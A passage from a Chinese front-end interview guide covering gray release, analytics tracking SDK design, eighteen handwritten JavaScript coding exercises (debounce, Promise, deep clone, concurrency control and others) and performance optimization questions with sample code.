- 代码里所有新功能用 if (featureEnabled('new_ui')) 包裹
- 配置中心动态开关，无需发版
- 工具：LaunchDarkly、Unleash、自研

灰度回滚：
- 保留上一版本产物 3-7 天
- 监控错误率、崩溃率、业务指标
- 触发阈值自动回滚（如错误率 > 0.5%）

前端监控与埋点

Q15: 前端埋点方案？⭐⭐⭐

埋点分类：
1. 代码埋点（手动）：在业务代码里手动调 track()
   - 优点：精准、灵活
   - 缺点：侵入性高、易漏
2. 无埋点（全埋点）：SDK 自动采集所有点击/曝光
   - 优点：无侵入、可回溯
   - 缺点：数据量大、语义模糊
3. 可视化埋点：运营在页面上圈选元素配置事件
   - 优点：非技术人员可用
   - 缺点：需要平台支撑

主流 SDK 架构：
┌──────────────────────────────────────┐
│          前端埋点 SDK                 │
├──────────────────────────────────────┤
│ 采集层                                │
│ - 用户行为：click / scroll / route    │
│ - 性能指标：LCP / FCP / 长任务        │
│ - 错误：window.onerror / unhandled    │
│ - 接口：拦截 fetch/XHR                │
├──────────────────────────────────────┤
│ 上报层                                │
│ - navigator.sendBeacon（页面卸载）    │
│ - 批量合并 + 节流                     │
│ - requestIdleCallback 空闲上报        │
│ - 采样率控制                          │
├──────────────────────────────────────┤
│ 存储层（服务端）                       │
│ - Kafka 消息队列                      │
│ - ClickHouse / ES 存储                │
│ - 实时看板 + 离线分析                  │
└──────────────────────────────────────┘

关键实现：
- 页面访问：拦截 history.pushState / popstate / hashchange
- 元素曝光：IntersectionObserver
- 元素点击：事件委托 + 冒泡到 body 统一处理
- 页面停留：visibilitychange + beforeunload
- 用户轨迹：Session Replay（rrweb 录制 DOM 变化）

复习卡片

[!TIP] 快速复习清单

Monorepo：pnpm workspace + Turborepo 主流组合，Nx 企业级

pnpm 优势：硬链接 + 严格 node_modules，快 3 倍、省磁盘、防幽灵依赖

微前端方案：qiankun（沙箱）、Module Federation（模块共享）、无界（iframe 强隔离）

qiankun 原理：HTML Entry + Proxy 沙箱 + 样式隔离

组件库设计：多入口打包（ESM/CJS/UMD）+ sideEffects + 按需引入

主题方案：CSS 变量（运行时切换）> Sass 变量（构建时）> CSS-in-JS

SemVer：major.minor.patch，破坏性变更升 major

package.json 入口：main(CJS) / module(ESM) / types / exports（现代）

代码质量链路：ESLint + Prettier + husky + lint-staged + commitlint

测试金字塔：单元 70% + 集成 20% + E2E 10%

CI/CD：PR 阶段自动检查 + 主分支自动部署测试环境 + 灰度发布到生产

灰度：Nginx 权重 / 版本目录 / 特性开关，配错误率监控自动回滚

埋点：sendBeacon + 批量节流 + 采样率，Kafka + ClickHouse 存储

[!TIP] 下一篇：实时通信面试题涵盖 WebSocket 协议与握手、心跳重连、SSE、WebRTC、协同编辑（OT/CRDT）、直播弹幕等场景。

返回面试宝典总览 | 面试宝典合集页

手写代码题专篇（笔试必考 18 题）

Wed, 16 Sep 2026 10:00:00 GMT

[!NOTE] 本文包含 18 道手写代码必考题，每题给出可运行代码 + 关键追问。手写题是笔试/面试白板环节的硬通货，务必动手敲熟。难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考

函数类

T1: 手写防抖（debounce）⭐ 🔥

// 基础版
function debounce(fn, delay = 300) {
  let timer = null;
  return function (...args) {
    clearTimeout(timer);                        // 每次触发都重置计时
    timer = setTimeout(() => fn.apply(this, args), delay);
  };
}

// 进阶版：立即执行 + 可取消（面试加分项）
function debounce(fn, delay = 300, immediate = false) {
  let timer = null;
  function debounced(...args) {
    if (timer) clearTimeout(timer);
    if (immediate && !timer) {
      fn.apply(this, args);                     // 首次立即执行
      timer = setTimeout(() => { timer = null; }, delay);
    } else {
      timer = setTimeout(() => fn.apply(this, args), delay);
    }
  }
  debounced.cancel = () => {                    // 组件卸载时可取消
    clearTimeout(timer);
    timer = null;
  };
  return debounced;
}

追问： 为什么要 fn.apply(this, args)？—— 防抖返回的包装函数可能作为事件回调/DOM 方法调用，需要透传 this 和参数。

T2: 手写节流（throttle）⭐ 🔥

// 时间戳版（首次立即执行）
function throttle(fn, interval = 200) {
  let last = 0;
  return function (...args) {
    const now = Date.now();
    if (now - last >= interval) {
      last = now;
      fn.apply(this, args);
    }
  };
}

// 定时器版（停止触发后还会执行最后一次）
function throttle2(fn, interval = 200) {
  let timer = null;
  return function (...args) {
    if (timer) return;
    timer = setTimeout(() => {
      timer = null;
      fn.apply(this, args);
    }, interval);
  };
}

追问： 时间戳版和定时器版的区别？—— 时间戳版首次立即执行、停止触发后不再执行；定时器版首次延迟执行、停止后会补最后一次。

T3: 手写 call / apply / bind ⭐⭐ 🔥

// call：把函数挂到目标对象上调用，this 即目标对象
Function.prototype.myCall = function (ctx, ...args) {
  if (typeof this !== 'function') throw new TypeError('not a function');
  ctx = ctx == null ? globalThis : Object(ctx);
  const key = Symbol('fn');           // 避免覆盖已有属性
  ctx[key] = this;
  const result = ctx[key](...args);
  delete ctx[key];
  return result;
};

// apply：同 call，参数是数组
Function.prototype.myApply = function (ctx, args = []) {
  ctx = ctx == null ? globalThis : Object(ctx);
  const key = Symbol('fn');
  ctx[key] = this;
  const result = ctx[key](...args);
  delete ctx[key];
  return result;
};

// bind：返回新函数，this 永久绑定；支持柯里化传参、new 调用
Function.prototype.myBind = function (ctx, ...preArgs) {
  const fn = this;
  function bound(...args) {
    // new bound() 时 this 是新实例，忽略 ctx
    return fn.apply(this instanceof bound ? this : ctx, [...preArgs, ...args]);
  }
  // 维护原型链：new bound() 的实例能访问原函数原型上的属性
  if (fn.prototype) {
    bound.prototype = Object.create(fn.prototype);
  }
  return bound;
};

追问： 原生 bind 返回的函数为什么没有 prototype？—— 规范规定 bound function 的 prototype 为 undefined，但通过原型链连接了原函数 prototype。

T4: 手写 new 操作符 ⭐⭐ 🔥

function myNew(Constructor, ...args) {
  // 1. 创建空对象，原型指向构造函数的 prototype
  const obj = Object.create(Constructor.prototype);
  // 2. 执行构造函数，绑定 this
  const result = Constructor.apply(obj, args);
  // 3. 构造函数返回对象则用它，否则返回新对象
  return result instanceof Object ? result : obj;
}

// 验证
function Person(name) { this.name = name; }
Person.prototype.say = function () { console.log(this.name); };
const p = myNew(Person, 'Tom');
p.say();  // Tom

追问： 构造函数 return 一个对象会怎样？—— new 的结果是这个对象；return 基本类型会被忽略。

T5: 手写 instanceof ⭐

function myInstanceof(obj, Constructor) {
  if (obj === null || (typeof obj !== 'object' && typeof obj !== 'function')) {
    return false;                          // 基本类型直接 false
  }
  let proto = Object.getPrototypeOf(obj);
  const prototype = Constructor.prototype;
  while (proto !== null) {
    if (proto === prototype) return true;
    proto = Object.getPrototypeOf(proto);  // 沿原型链向上
  }
  return false;
}

myInstanceof([], Array);    // true
myInstanceof([], Object);   // true
myInstanceof('str', String); // false（基本类型）

T6: 手写柯里化（curry）⭐⭐⭐

// 参数够了就执行，不够就继续收集
function curry(fn) {
  return function curried(...args) {
    if (args.length >= fn.length) {        // fn.length = 形参个数
      return fn.apply(this, args);
    }
    return (...args2) => curried.apply(this, [...args, ...args2]);
  };
}

function add(a, b, c) { return a + b + c; }
const curriedAdd = curry(add);
curriedAdd(1)(2)(3);     // 6
curriedAdd(1, 2)(3);     // 6
curriedAdd(1)(2, 3);     // 6

// 变体题：无限参数累加 add(1)(2)(3)() === 6 / add(1,2)(3) === 6
function addChain(...args) {
  const nums = [...args];
  const fn = (...more) => {
    if (more.length === 0) return nums.reduce((a, b) => a + b, 0);
    nums.push(...more);
    return fn;
  };
  return fn;
}

对象与数组类

T7: 手写深拷贝 ⭐⭐ 🔥

function deepClone(target, map = new WeakMap()) {
  // 基本类型和函数直接返回
  if (target === null || typeof target !== 'object') return target;
  // 特殊内置对象
  if (target instanceof Date) return new Date(target);
  if (target instanceof RegExp) return new RegExp(target.source, target.flags);
  // 循环引用：拷贝过的直接返回缓存
  if (map.has(target)) return map.get(target);

  const result = Array.isArray(target) ? [] : {};
  map.set(target, result);                 // 先缓存再递归，解决循环引用

  for (const key of Reflect.ownKeys(target)) {   // 包含 Symbol 键
    result[key] = deepClone(target[key], map);
  }
  return result;
}

// 验证循环引用
const obj = { name: 'a' };
obj.self = obj;
const copy = deepClone(obj);
console.log(copy.self === copy);  // true，且不栈溢出

追问： 为什么用 WeakMap 而不是 Map？—— 弱引用，拷贝完成后键（原对象）可被 GC 回收，避免内存泄漏。

T8: 数组扁平化（flat）⭐ 🔥

// 1. 递归 + reduce
function flat(arr, depth = Infinity) {
  return arr.reduce((acc, cur) => {
    if (Array.isArray(cur) && depth > 0) {
      acc.push(...flat(cur, depth - 1));
    } else {
      acc.push(cur);
    }
    return acc;
  }, []);
}

// 2. 完全扁平化简洁版
const flatAll = arr => arr.reduce(
  (acc, cur) => acc.concat(Array.isArray(cur) ? flatAll(cur) : cur), []
);

// 3. 迭代版（不用递归，避免栈溢出）
function flatIterative(arr) {
  const stack = [...arr];
  const result = [];
  while (stack.length) {
    const item = stack.pop();
    Array.isArray(item) ? stack.push(...item) : result.unshift(item);
  }
  return result;
}

// 4. 一行版（了解即可）
const flatOneLine = arr => arr.flat(Infinity);
const flatToString = arr => arr.toString().split(',').map(Number); // 仅纯数字数组

flatAll([1, [2, [3, [4]]]]);  // [1, 2, 3, 4]

T9: 手写数组去重 ⭐

// 1. Set（最简洁，NaN 也能去重）
const unique1 = arr => [...new Set(arr)];

// 2. filter + indexOf
const unique2 = arr => arr.filter((item, i) => arr.indexOf(item) === i);

// 3. 对象数组按 key 去重（实战常见）
function uniqueBy(arr, key) {
  const seen = new Map();
  return arr.filter(item => !seen.has(item[key]) && seen.set(item[key], true));
}
uniqueBy([{ id: 1 }, { id: 2 }, { id: 1 }], 'id');  // [{id:1},{id:2}]

T10: 手写 Object.assign 的浅拷贝语义 / 对象合并 ⭐⭐

// 浅拷贝的常见实现（对比记忆）
const shallowClone = obj => ({ ...obj });
const shallowClone2 = obj => Object.assign({}, obj);

// 深合并（deepMerge，配置合并场景）
function deepMerge(target, source) {
  const result = { ...target };
  for (const key of Object.keys(source)) {
    const t = target[key], s = source[key];
    const bothObj = v => v !== null && typeof v === 'object' && !Array.isArray(v);
    result[key] = bothObj(t) && bothObj(s) ? deepMerge(t, s) : s;
  }
  return result;
}
deepMerge({ a: 1, b: { x: 1 } }, { b: { y: 2 } });
// { a: 1, b: { x: 1, y: 2 } }

Promise 与异步类

T11: 手写 Promise.all ⭐⭐ 🔥

function promiseAll(promises) {
  return new Promise((resolve, reject) => {
    const results = [];
    let count = 0;
    const list = Array.from(promises);     // 支持可迭代对象
    if (list.length === 0) return resolve([]);

    list.forEach((p, i) => {
      // Promise.resolve 包装：兼容非 Promise 值
      Promise.resolve(p).then(
        value => {
          results[i] = value;              // 按索引存，保证顺序
          if (++count === list.length) resolve(results);  // 全部完成才 resolve
        },
        reject                             // 任意一个失败立即 reject
      );
    });
  });
}

// 验证
promiseAll([Promise.resolve(1), 2, Promise.resolve(3)])
  .then(console.log);  // [1, 2, 3]
promiseAll([Promise.resolve(1), Promise.reject('err')])
  .catch(console.log);  // 'err'

追问： 为什么用 results[i] 而不是 results.push？—— then 回调执行顺序不定，push 会乱序；按索引赋值保证与输入顺序一致。

T12: 手写 Promise.race / allSettled / any ⭐⭐

// race：第一个完成（无论成败）决定结果
function promiseRace(promises) {
  return new Promise((resolve, reject) => {
    for (const p of promises) {
      Promise.resolve(p).then(resolve, reject);  // 谁先谁赢
    }
  });
}

// allSettled：全部结束，返回每项状态
function promiseAllSettled(promises) {
  return promiseAll(
    Array.from(promises).map(p =>
      Promise.resolve(p)
        .then(value => ({ status: 'fulfilled', value }))
        .catch(reason => ({ status: 'rejected', reason }))
    )
  );
}

// any：第一个成功决定结果；全失败才失败（AggregateError）
function promiseAny(promises) {
  return new Promise((resolve, reject) => {
    const errors = [];
    let count = 0;
    const list = Array.from(promises);
    list.forEach((p, i) => {
      Promise.resolve(p).then(resolve, err => {
        errors[i] = err;
        if (++count === list.length) {
          reject(new AggregateError(errors, 'All promises were rejected'));
        }
      });
    });
  });
}

T13: 手写 Promise（A+ 简化版）⭐⭐⭐

class MyPromise {
  constructor(executor) {
    this.state = 'pending';
    this.value = undefined;
    this.callbacks = [];                    // pending 期间收集的回调

    const resolve = value => this.#settle('fulfilled', value);
    const reject = reason => this.#settle('rejected', reason);
    try { executor(resolve, reject); } catch (e) { reject(e); }
  }

  #settle(state, value) {
    if (this.state !== 'pending') return;   // 状态不可逆
    this.state = state;
    this.value = value;
    this.callbacks.forEach(cb => cb());     // 异步触发已收集回调
  }

  then(onFulfilled, onRejected) {
    // 穿透处理：then() 不传参时值要能传递下去
    onFulfilled = typeof onFulfilled === 'function' ? onFulfilled : v => v;
    onRejected = typeof onRejected === 'function' ? onRejected : e => { throw e; };

    const promise2 = new MyPromise((resolve, reject) => {
      const handle = () => {
        // 用宏任务模拟微任务，保证异步调用
        setTimeout(() => {
          try {
            if (this.state === 'fulfilled') {
              const x = onFulfilled(this.value);
              resolvePromise(promise2, x, resolve, reject);
            } else {
              const x = onRejected(this.value);
              resolvePromise(promise2, x, resolve, reject);
            }
          } catch (e) { reject(e); }
        }, 0);
      };
      this.state === 'pending' ? this.callbacks.push(handle) : handle();
    });
    return promise2;                        // 返回新 Promise 支持链式调用
  }

  catch(onRejected) { return this.then(null, onRejected); }
}

// A+ 核心：解析 then 回调的返回值
function resolvePromise(promise2, x, resolve, reject) {
  if (promise2 === x) {
    return reject(new TypeError('Chaining cycle detected'));
  }
  if (x !== null && (typeof x === 'object' || typeof x === 'function')) {
    let called = false;
    try {
      const then = x.then;
      if (typeof then === 'function') {
        then.call(x,
          y => { if (!called) { called = true; resolvePromise(promise2, y, resolve, reject); } },
          r => { if (!called) { called = true; reject(r); } }
        );
      } else { resolve(x); }
    } catch (e) {
      if (!called) { called = true; reject(e); }
    }
  } else { resolve(x); }                    // 普通值直接 resolve
}

追问： 为什么需要 resolvePromise 递归解析？—— then 回调可能返回另一个 Promise，必须等它 settle 后再决定 promise2 的状态。

T14: 手写 async/await 的生成器实现（run 函数）⭐⭐⭐

// async 语法糖 = 生成器 + 自动执行器
function run(generatorFn) {
  return new Promise((resolve, reject) => {
    const gen = generatorFn();
    function step(nextFn) {
      let result;
      try {
        result = nextFn();
      } catch (e) {
        return reject(e);                   // 生成器内抛错 → reject
      }
      if (result.done) return resolve(result.value);
      // yield 的值包装成 Promise，then 里递归驱动下一步
      Promise.resolve(result.value).then(
        v => step(() => gen.next(v)),       // 成功值送回生成器
        e => step(() => gen.throw(e))       // 错误抛回生成器（可被 try/catch 捕获）
      );
    }
    step(() => gen.next());
  });
}

// 使用（等价于 async/await）
const fetchUser = run(function* () {
  const res = yield fetch('/api/user');
  const data = yield res.json();
  return data;
});

T15: 手写并发控制器（限制并发数）⭐⭐⭐ 🔥

// 经典题：最多同时执行 limit 个异步任务
function asyncPool(limit, tasks) {
  return new Promise((resolve, reject) => {
    const results = [];
    const executing = new Set();            // 正在执行的 Promise 集合
    let index = 0;

    async function runNext() {
      if (index >= tasks.length) {
        // 全部派发完，等待剩余任务结束
        await Promise.all(executing);
        return resolve(results);
      }
      const i = index++;
      const task = Promise.resolve()
        .then(() => tasks[i]())             // tasks[i] 是返回 Promise 的函数
        .then(
          v => { results[i] = v; },
          e => { results[i] = e; }          // 单个失败不中断（可改为 reject）
        );
      executing.add(task);
      task.then(() => executing.delete(task));

      if (executing.size >= limit) {
        await Promise.race(executing);      // 满了就等最快的一个腾出位置
      }
      runNext();                            // 递归派发下一个
    }
    runNext();
  });
}

// 使用
const tasks = urls.map(url => () => fetch(url).then(r => r.json()));
const results = await asyncPool(3, tasks);  // 最多 3 个并发

// 追问：为什么用 Promise.race 而不是 Promise.all？
// race 等"最快的一个"完成就继续派发，保持并发池满载；
// all 要等全部完成，并发度会塌缩。

T16: 手写 sleep / 超时控制 / 请求重试 ⭐⭐

// sleep
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));

// 超时控制（Promise.race 实战）
function withTimeout(promise, ms) {
  return Promise.race([
    promise,
    sleep(ms).then(() => Promise.reject(new Error('timeout'))),
  ]);
}
withTimeout(fetch('/api/slow'), 3000);

// 请求重试（指数退避）
async function retry(fn, times = 3, delay = 1000) {
  for (let i = 0; i < times; i++) {
    try {
      return await fn();
    } catch (e) {
      if (i === times - 1) throw e;         // 最后一次仍失败 → 抛出
      await sleep(delay * Math.pow(2, i));  // 1s → 2s → 4s
    }
  }
}
retry(() => fetch('/api/unstable').then(r => {
  if (!r.ok) throw new Error(r.status);
  return r.json();
}), 3);

设计模式类

T17: 手写发布订阅（EventEmitter）⭐⭐ 🔥

class EventEmitter {
  constructor() {
    this.events = new Map();                // eventName → Set<callback>
  }

  on(name, fn) {
    if (!this.events.has(name)) this.events.set(name, new Set());
    this.events.get(name).add(fn);
    return this;                            // 支持链式调用
  }

  off(name, fn) {
    const set = this.events.get(name);
    if (set) {
      set.delete(fn);
      if (set.size === 0) this.events.delete(name);
    }
    return this;
  }

  once(name, fn) {
    const wrapper = (...args) => {
      fn.apply(this, args);
      this.off(name, wrapper);              // 执行后自动移除
    };
    this.on(name, wrapper);
    return this;
  }

  emit(name, ...args) {
    this.events.get(name)?.forEach(fn => fn.apply(this, args));
    return this;
  }
}

// 使用
const bus = new EventEmitter();
const handler = data => console.log('got:', data);
bus.on('msg', handler);
bus.once('login', u => console.log('welcome', u));
bus.emit('msg', 'hello');   // got: hello
bus.emit('login', 'Tom');   // welcome Tom
bus.emit('login', 'Tom');   // 无输出（once 已移除）
bus.off('msg', handler);

追问： Vue2 的 $on/$emit、Node 的 EventEmitter、跨组件通信总线都是这个模式。

T18: 手写懒加载 / IntersectionObserver 封装 ⭐⭐

// 图片懒加载封装（实战常用）
class LazyLoad {
  constructor(selector = 'img[data-src]', options = {}) {
    this.observer = new IntersectionObserver(entries => {
      entries.forEach(entry => {
        if (!entry.isIntersecting) return;
        const img = entry.target;
        img.src = img.dataset.src;
        img.onload = img.onerror = () => this.observer.unobserve(img);
      });
    }, {
      rootMargin: options.rootMargin || '200px',  // 提前 200px 加载
      threshold: 0,
    });
    document.querySelectorAll(selector).forEach(el => this.observer.observe(el));
  }

  destroy() { this.observer.disconnect(); }
}

new LazyLoad();  // 自动接管页面所有 img[data-src]

// 追问：为什么不用 scroll 事件 + getBoundingClientRect？
// scroll 高频触发性能差，getBoundingClientRect 强制同步布局；
// IntersectionObserver 由浏览器异步计算，不阻塞主线程。

复习卡片

[!TIP] 手写题优先级清单（按出现频率排序）

优先级题目关键考点

P0 必会防抖/节流 this 透传、cancel、时间戳 vs 定时器

P0 必会深拷贝 WeakMap 循环引用、Date/RegExp/Symbol 键

P0 必会 Promise.all 索引保序、计数、单个失败即 reject

P0 必会 call/apply/bind Symbol 挂载、原型链维护、new 兼容

P0 必会并发控制 Promise.race 腾位、结果保序

P1 高频 new/instanceof 原型链遍历、返回对象优先级

P1 高频发布订阅 once 包装、Set 存储、链式返回

P1 高频数组扁平化递归/迭代/toString 三种写法

P2 加分 Promise 手写 A+ 状态机、resolvePromise、穿透

P2 加分柯里化 fn.length、递归收集参数

P2 加分重试/超时指数退避、Promise.race

练习建议：每题至少独立手写 3 遍（看题解 → 默写 → 隔天再写），面试白板环境没有代码提示，肌肉记忆很重要。

[!TIP] 下一篇：前端工程化实践面试题涵盖 Monorepo、微前端（qiankun/Module Federation）、组件库设计、npm 发包、CI/CD、灰度发布等中高级必考的工程化落地实践。

返回面试宝典总览 | 面试宝典合集页

前端性能优化面试题（中高级核心考点）

Wed, 16 Sep 2026 09:00:00 GMT

[!NOTE] 本文包含 20+ 道性能优化面试题，这是中高级岗位最能拉开差距的模块，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考

指标体系

Q1: 有哪些常见的性能指标？⭐ 🔥

答：

指标	全称	含义	优秀标准
FCP	First Contentful Paint	首次内容绘制	< 1.8s
LCP	Largest Contentful Paint	最大内容绘制（加载体验）	< 2.5s
INP	Interaction to Next Paint	交互到下一帧绘制（2024 取代 FID）	< 200ms
CLS	Cumulative Layout Shift	累计布局偏移（视觉稳定性）	< 0.1
TTFB	Time To First Byte	首字节时间（服务端响应）	< 800ms
FP	First Paint	首次绘制（可能只是背景色）	-
白屏时间	-	用户看到第一个像素前的时间	-

Core Web Vitals（核心 Web 指标）= LCP + INP + CLS，Google 搜索排名因素。

// FID 为什么被 INP 取代？
// FID 只测量"第一次交互的输入延迟"，忽略处理耗时和绘制耗时
// INP 测量页面整个生命周期内所有交互的响应性，取最差值（P98）
// INP = 输入延迟 + 处理时间 + 渲染延迟（全部计入）

Q2: 如何测量这些指标？⭐⭐

// 1. Performance API（LCP 示例）
new PerformanceObserver((list) => {
  const entries = list.getEntries();
  const lastEntry = entries[entries.length - 1];
  console.log('LCP:', lastEntry.startTime);
}).observe({ type: 'largest-contentful-paint', buffered: true });

// 2. CLS
let clsScore = 0;
new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    if (!entry.hadRecentInput) clsScore += entry.value;
  }
}).observe({ type: 'layout-shift', buffered: true });

// 3. web-vitals 库（Google 官方，一行搞定）
import { onLCP, onINP, onCLS } from 'web-vitals';
onLCP(console.log);
onINP(console.log);
onCLS(console.log);

// 4. 工具：Lighthouse（实验室数据）、Chrome DevTools Performance 面板、
//    线上 RUM（真实用户监控，上报到自建平台）
// 实验室数据（Lab）：Lighthouse，可复现但非真实用户
// 真实用户数据（Field/RUM）： CrUX、自建上报，反映真实体验

加载性能优化

Q3: 从输入 URL 到页面展示，有哪些优化点？⭐⭐⭐ 🔥

答：这是一道"串联所有知识"的大题，按阶段答：

输入 URL → DNS → TCP/TLS → HTTP 请求 → 服务器处理 → 响应 → 解析渲染

各阶段优化手段：
┌─────────────┬──────────────────────────────────────┐
│ DNS         │ dns-prefetch 预解析                   │
│ TCP/TLS     │ preconnect 预连接、TLS1.3、HTTP/2     │
│ HTTP 请求   │ CDN、缓存（强缓存/协商缓存）、         │
│             │ Gzip/Brotli、减少请求数（合并/雪碧图） │
│ 服务器      │ SSR、接口聚合（BFF）、数据库优化       │
│ 资源体积    │ 压缩、Tree Shaking、代码分割、         │
│             │ 图片 WebP/AVIF、按需加载              │
│ 解析渲染    │ defer/async、关键 CSS 内联、           │
│             │ 减少重排重绘、GPU 加速                │
└─────────────┴──────────────────────────────────────┘

<!-- 资源提示（Resource Hints）-->
<link rel="dns-prefetch" href="//api.example.com">
<link rel="preconnect" href="//cdn.example.com" crossorigin>
<link rel="preload" href="/fonts/main.woff2" as="font" crossorigin>
<link rel="prefetch" href="/next-page.js">  <!-- 空闲时预取下一页 -->

Q4: script 标签的 defer 和 async 区别？⭐ 🔥

<script src="a.js"></script>          <!-- 同步：阻塞解析，顺序执行 -->
<script src="b.js" async></script>    <!-- 异步下载，下载完立即执行（打断解析，顺序不定）-->
<script src="c.js" defer></script>    <!-- 异步下载，HTML 解析完后按顺序执行 -->

/*
时间线对比：
普通:   解析──停─下载─执行─解析──停─下载─执行─解析
async:  解析────解析────解析（下载完就插队执行）
defer:  解析────解析────解析│DOMContentLoaded前统一执行

使用建议：
- 无依赖的统计脚本 → async
- 有依赖顺序的业务脚本 → defer
- 都不加 → 阻塞渲染，尽量避免
*/

Q5: 代码分割（Code Splitting）怎么做？⭐⭐ 🔥

// 1. 路由懒加载（收益最大，首屏只加载当前路由）
// Vue Router
const routes = [
  { path: '/detail', component: () => import('./Detail.vue') },
];
// React Router
const Detail = React.lazy(() => import('./Detail'));

// 2. 组件级懒加载（重型组件：编辑器、图表库）
const Editor = defineAsyncComponent(() => import('./Editor.vue'));

// 3. 第三方库拆分（Vite manualChunks）
build: {
  rollupOptions: {
    output: {
      manualChunks: {
        vue: ['vue', 'vue-router', 'pinia'],
        echarts: ['echarts'],      // 大库独立 chunk，可长期缓存
      },
    },
  },
}

// 4. 条件加载（按环境/权限）
if (needExport) {
  const { exportToExcel } = await import('./excel-utils');
}

// 分割原则：
// - 首屏必需 → 主包；非首屏 → 懒加载
// - 体积大、更新少的库 → 独立 chunk（利用缓存）
// - 过度分割反而增加请求数，HTTP/2 下控制在合理范围

Q6: 图片优化有哪些手段？⭐ 🔥

<!-- 1. 现代格式：WebP（体积约为 JPEG 的 1/3）、AVIF -->
<picture>
  <source srcset="img.avif" type="image/avif">
  <source srcset="img.webp" type="image/webp">
  <img src="img.jpg" alt="desc">
</picture>

<!-- 2. 响应式图片：按屏幕加载合适尺寸 -->
<img srcset="img-480.jpg 480w, img-800.jpg 800w"
     sizes="(max-width: 600px) 480px, 800px"
     src="img-800.jpg" alt="desc">

<!-- 3. 原生懒加载 -->
<img src="img.jpg" loading="lazy" alt="desc">

<!-- 4. LCP 图片反而要 preload + fetchpriority -->
<link rel="preload" as="image" href="/hero.webp" fetchpriority="high">
<img src="/hero.webp" fetchpriority="high" alt="hero">

<!-- 5. 占位防抖动（配合 CLS）：必须写宽高 -->
<img src="img.jpg" width="800" height="450" alt="desc">

// 6. 虚拟滚动场景：IntersectionObserver 手动懒加载
const observer = new IntersectionObserver((entries) => {
  entries.forEach(e => {
    if (e.isIntersecting) {
      const img = e.target;
      img.src = img.dataset.src;   // data-src 存真实地址
      observer.unobserve(img);
    }
  });
});
document.querySelectorAll('img[data-src]').forEach(img => observer.observe(img));

// 7. 构建层：vite-plugin-imagemin 压缩、雪碧图（SVG symbol）
// 8. CDN：URL 参数动态裁剪缩放（?x-oss-process=image/resize,w_400）

Q7: 首屏白屏时间怎么优化？⭐⭐⭐ 🔥

白屏时间构成：DNS + TCP + TTFB + HTML下载 + CSS/JS下载解析

优化手段（按投入产出比排序）：

1. 静态资源上 CDN（TTFB 大幅下降）
2. 开启 Gzip/Brotli（体积降 60-80%）
3. 强缓存 + 文件 hash（二次访问秒开）
4. 路由懒加载 + 分包（减小首屏 JS）
5. 骨架屏 / Loading（体验兜底，非真优化）
6. SSR / SSG（HTML 直出，FCP 最快）
   - SSG：构建时生成（博客、官网）
   - SSR：请求时渲染（个性化内容）
   - 流式 SSR / 岛屿架构：更快 TTFB + 局部 hydration
7. 预渲染（prerender）：SSG 的轻量替代
8. 关键 CSS 内联到 <head>，非关键 CSS 异步加载
9. 接口预请求：HTML 内联 script 提前发起首屏接口，
   与 JS 下载并行，省掉串行等待
10. 客户端缓存首屏数据（localStorage），
    先渲染缓存再静默刷新（SWR 模式）

渲染性能优化

Q8: 浏览器渲染流程？哪里会阻塞？⭐⭐ 🔥

HTML → DOM 树
              ↘
               Render 树 → Layout（布局）→ Paint（绘制）→ Composite（合成）
              ↗
CSS  → CSSOM

阻塞点：
1. CSS 阻塞渲染：CSSOM 构建完才能合成 Render 树
2. CSS 间接阻塞 JS：JS 执行前要等前面的 CSS 下载完
3. JS 阻塞解析：同步 script 会暂停 HTML 解析
4. Layout 抖动：JS 频繁读写几何属性触发强制同步布局

Q9: 重排和重绘？如何减少？⭐⭐ 🔥

// 重排（Reflow/Layout）：几何变化 → 重新计算布局（贵）
// 重绘（Repaint）：外观变化不影响布局（较贵）
// 合成（Composite）：仅 transform/opacity → GPU 处理（最便宜）
// 关系：重排必重绘，重绘不一定重排

// 触发重排的操作：
// - 改变窗口大小、字体
// - 增删 DOM、元素位置/尺寸变化
// - 读取几何属性（offsetTop/clientWidth/getComputedStyle）
//   ← 高频坑！读取会强制刷新布局队列（强制同步布局）

// ❌ 布局抖动（Layout Thrashing）
for (let i = 0; i < 1000; i++) {
  const el = document.getElementById(`item-${i}`);
  el.style.width = el.offsetWidth + 10 + 'px';  // 读写交替，1000 次强制布局
}

// ✅ 读写分离：先批量读，再批量写
const widths = els.map(el => el.offsetWidth);   // 集中读
els.forEach((el, i) => el.style.width = widths[i] + 10 + 'px');  // 集中写

// ✅ requestAnimationFrame 分批写
function batchUpdate() {
  els.forEach(el => el.style.transform = 'translateX(10px)');
}
requestAnimationFrame(batchUpdate);

// 其他手段：
// - transform/opacity 代替 top/left（走合成层，不重排）
// - will-change: transform 提升合成层（慎用，层爆炸）
// - 绝对定位让动画元素脱离文档流
// - display: none 批量修改后一次显示
// - DocumentFragment 批量 DOM 操作

Q10: 长列表（10 万条数据）如何渲染？⭐⭐⭐ 🔥

虚拟列表（Virtual List）核心思想：
只渲染可视区域 + 上下缓冲区的 DOM（约 20-30 个），
滚动时动态替换内容和位置。

┌─────────────┐ ← 外层容器（撑开总高度：10万 × 行高）
│  (占位)      │ ← transform: translateY(偏移)
│ ┌─────────┐ │
│ │ 可视区   │ │ ← 只渲染这一屏的条目
│ │ item 51 │ │
│ │ item 52 │ │
│ │ ...     │ │
│ └─────────┘ │
│  (占位)      │
└─────────────┘

核心计算：
startIndex = Math.floor(scrollTop / itemHeight)
endIndex = startIndex + Math.ceil(viewportHeight / itemHeight)
visibleData = list.slice(startIndex - buffer, endIndex + buffer)
offsetY = startIndex * itemHeight

// 简易实现（固定行高）
function VirtualList({ container, itemHeight, total, renderItem }) {
  const viewportH = container.clientHeight;
  const visibleCount = Math.ceil(viewportH / itemHeight);
  const buffer = 5;

  container.addEventListener('scroll', () => {
    const scrollTop = container.scrollTop;
    const start = Math.max(0, Math.floor(scrollTop / itemHeight) - buffer);
    const end = Math.min(total, start + visibleCount + buffer * 2);

    // 只更新可视数据 + 偏移
    renderItems(start, end);
    content.style.transform = `translateY(${start * itemHeight}px)`;
  });
}
// 现成方案：vue-virtual-scroller、react-window、react-virtuoso
// 不定高场景：预估高度 + 渲染后实测缓存高度（react-virtuoso 内置）

Q11: 防抖和节流在性能优化中的应用？⭐ 🔥

// 防抖（debounce）：停止触发 n 秒后才执行（结果导向）
// 场景：搜索联想、窗口 resize 后重算、表单校验
function debounce(fn, delay = 300) {
  let timer = null;
  return function (...args) {
    clearTimeout(timer);
